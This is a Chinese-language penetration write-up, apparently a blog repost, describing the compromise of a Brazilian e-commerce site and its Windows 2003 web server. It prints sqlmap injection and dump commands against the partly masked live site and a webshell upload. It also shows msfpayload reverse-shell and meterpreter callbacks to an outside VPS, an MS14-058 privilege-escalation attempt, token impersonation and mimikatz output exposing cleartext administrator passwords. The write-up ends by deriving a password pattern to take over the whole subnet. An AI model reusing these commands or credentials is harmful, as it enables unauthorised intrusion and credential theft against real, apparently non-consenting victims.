|
0x01 前言
0x02 Getshell过程
目标站点: 服务器IP:189.**.**.204(巴西) 环境平台:ASP.NET 服务器系统:Windows
这个网站禁止国内IP访问,所以只能上墙去做测试了,先用Chrome浏览器插件和指纹识别网站都未能得到服务器系统具体版本,不过根据个人经验猜测这应该是台Windows2003。
Chrome浏览器插件:Server Details 1.0.12、Wappalyzer 服务器系统识别:http://fuwuqixitongshibie.51240.com/?q= 网站后台地址:http://www.that****elos.com.br/admin/
接着我们用Safe3WVS_v10.1漏洞扫描工具成功找到几处注入,并使用sqlmap工具验证这个注入点确实是存在的,并且已经跑出管理员的表和列,只不过在跑管理员用户密码时报错了。
跑表名:
sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" --tables [7 tables]:categorias,clientes,destaques,itens,pedidos,produtos,usuarios
跑列名:
sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" -T "usuarios" --columns [5 columns]:codusuario,email,login,nome,senha
sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" --dbms access -T "usuarios" -C "email,login,senha" --dump --threads 10
这里不去纠结为什么在sqlmap跑数据时会报错,既然已经得到管理员的表和列,那么就可以直接利用其它注入工具来跑管理员用户密码了,如:阿D、明小子等注入工具,灵活运用嘛!
通过这个注入点成功得到网站管理员帐号和密码,登录网站后台并找到一处无任何过滤的上传,直接传了一个ASP的图片马,就这样很顺利的拿到这个站的Webshell权限。
0x03 实战提权过程
端口开放:21、80、135、443、445、873、65432 补丁情况:打了750+系统补丁(Windows 2003 x86) 脚本探测:仅支持ASP脚本文件,不支持PHP、ASPX 磁盘权限:C盘部分文件夹有可读/写权限,不能跨站
搞了这么久也是第一次遇到打750+补丁的2003机器,虽然知道利用提权EXP搞下的机率不大,但还是得尝试下不是,说不定就“成”了呢,尝试了以下这些提权EXP,最终结果在意料之中,失败了。
pr.exe,Churrasco.exe,2003.exe,NDProxy.exe,iis6.exe,MS11-046.exe,MS10-048.exe,MS11-080.exe,MS13-051.exe,debug.exe......
我们再来试下ms14_058_track_popup_menu提权模块,由于目标禁止国内IP地址访问,所以在运行攻击载荷文件后无法获取到目标机器会话,所以笔者是在国外VPS上进行测试的。
root@c2unix:~# msfpayload windows/meterpreter/reverse_tcp LHOST=37.*.**.52 LPORT=443 X > /media/sf_Temp/test.exe
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 37.*.**.52
msf exploit(handler) > set lport 443
msf exploit(handler) > exploit
[*] Started reverse handler on 37.*.**.52:443
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 189.**.**.204
[*] Meterpreter session 1 opened (37.*.**.52:443 -> 189.**.**.204:1150) at 2015-01-01 13:48:01 +0000
查看当前会话权限、系统信息,尝试使用getsystem提权,没有成功,将当前会话放置后台运行,继续加载ms14_058_track_popup_menu提权模块进行测试。
meterpreter > getuid Server username: $U$AUTORIDADE NTSERVIO LOCAL-0x4155544f524944414445204e545c5345525649c74f204c4f43414c meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: Access is denied. meterpreter > sysinfo Computer : WEB200 OS : Windows .NET Server (Build 3790, Service Pack 2). Architecture : x86 System Language : pt_BR Meterpreter : x86/win32 meterpreter > background [*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set payload windows/meterpreter/reverse_tcp
msf exploit(ms14_058_track_popup_menu) > set lhost 37.*.**.52
msf exploit(ms14_058_track_popup_menu) > set lport 443
msf exploit(ms14_058_track_popup_menu) > set session 1
msf exploit(ms14_058_track_popup_menu) > exploit
[*] Started reverse handler on 37.*.**.52:443
[*] Launching notepad to host the exploit...
[+] Process 11464 launched.
[*] Reflectively injecting the exploit DLL into 11464...
[*] Injecting exploit into 11464...
[*] Exploit injected. Injecting payload into 11464...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (770048 bytes) to 189.**.**.204
[*] Meterpreter session 2 opened (37.*.**.52:443 -> 189.**.**.204:1788) at 2015-01-01 14:03:44 +0000
这里可以看到利用ms14_058_track_popup_menu提权模块后得到一个新的meterpreter会话,但仍然是普通权限,在以往的实战案例中曾多次碰到过这种情况,具体原因不明,也没去深入研究。
meterpreter > getuid Server username: $U$AUTORIDADE NTSERVIO LOCAL-0x4155544f524944414445204e545c5345525649c74f204c4f43414c meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: Access is denied. meterpreter > hashdump [-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
ms14_058_track_popup_menu提权模块失败,笔者陷入深思......,突然想到meterpreter下还有个incognito拓展,可以用来盗窃目标主机的令牌或假冒用户。
我们先看下这台服务器里有几个管理员用户,方便后面找管理员可用令牌,可以看到除了默认的Administrator,还有一个cronjob。
list_tokens -u
列出可用用户令牌,这列出来的可用用户令牌太多了,笔者用...Snip...省略了一部分,可以看到可用用户令牌中有cronjob管理员令牌。
列出可用用户令牌:
meterpreter > use incognito
Loading extension incognito...success.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
AUTORIDADE NT\SERVI?O LOCAL
WEB200\aewcorp
WEB200\attcorreia
WEB200\cronjob
WEB200\sueddesigner
...Snip...
Impersonation Tokens Available
========================================
WEB200\aluggo
WEB200\ciacompropaganda
WEB200\datahome
WEB200\ipirangacontabil
WEB200\web200
...Snip...
假冒cronjob用户令牌:
meterpreter > impersonate_token WEB200\cronjob [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM [+] Delegation token available [+] Successfully impersonated user WEB200cronjob meterpreter > getuid Server username: WEB200estoquedomarmorista meterpreter > hashdump...Snip...
当前机器IP地址为:189.**.**.204,远程端口号:65432,计算机名称:WEB200,使用meterpreter下的mimikatz法国神器抓到的目标系统明文密码如下,管理员哈希密码均无法破解(>=16位)。
0;980627246 NTLM WEB200 Administrador w3b200r0x0271114 0;3450401626 NTLM WEB200 cronjob 016b2023ee9b897ca643 0;1214252650 NTLM WEB200 web200 p1cadasgalaxi4s 0;1236893630 NTLM WEB200 thatycabelos vbs147369 0;74485534 NTLM WEB200 iis_user 123abc!#
利用一些常见的漏洞又拿到了C段中189.**.**.9、189.**.**.55服务器的Webshell权限,在提权时发现与刚提的204那台服务器有很多类似之处。
如:部分文件夹权限、上传cmd.exe执行命令、服务器系统主机名、部分命令权限不足、一样的远程端口号等等。
只是不能执行我们自己上传的提权EXP,提示0x2331错误,如下图所示。但是好像只要服务器重启后又可以正常执行提权EXP了,或者可以尝试将上传的提权EXP后缀改为TXT。
0x04 密码/域名规律
w3b = 固定值,200 = 计算机名称(3位数字),r0x0271114 = 固定值
=RIGHT(H2,3)
,组合一个新密码:=B2&C2&D2
,最终通过密码规律组合出C段189.**.**.9、189.**.**.55这两台机器的管理员密码,如下图。在测试中多次看到“主机名.test.net”这样的子域,访问了几个后证实了我的想法:管理员在每台服务器上都解析了这样一个子域,命名规律为:主机名.test.net。
知道域名规律后就可以省去拿Webshell了,直接就能得到主机名,最后再通过组合密码进入C段其他机器,测试了10几台都是OK的。
形象比喻:
C段所有机器沦陷 = 密码规律 + 主机名 + 域名规律,密码规律 = 父亲,主机名 = 儿子,域名规律 = 母亲,父亲和母亲都需要儿子,只有在一起生活才算得上是一个完整家庭,缺一不可。
思路拓展:
根据域名规律生成高效“主机名.test.net”子域字典,主机名控制在300即可,然后通过脚本批量Ping这些子域得到C段存活机器的IP地址和对应主机名,然后再根据密码规律组合出新密码。
=B2&(RIGHT(LEFT(E2,6),3)&D2)
,最终通过密码规律组合出C段所有存活机器的管理员密码,如下图。0x05 小结
123/qwe/!@#
等做为规律,也可以分析网站后台、中间件、数据库、第三方软件等等各类密码的共同点和规律,然后再组合生成高效字典进行爆破,借用@亮神的一句话:渗透的本质是信息搜集。本文作者:潇湘信安
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/158725.html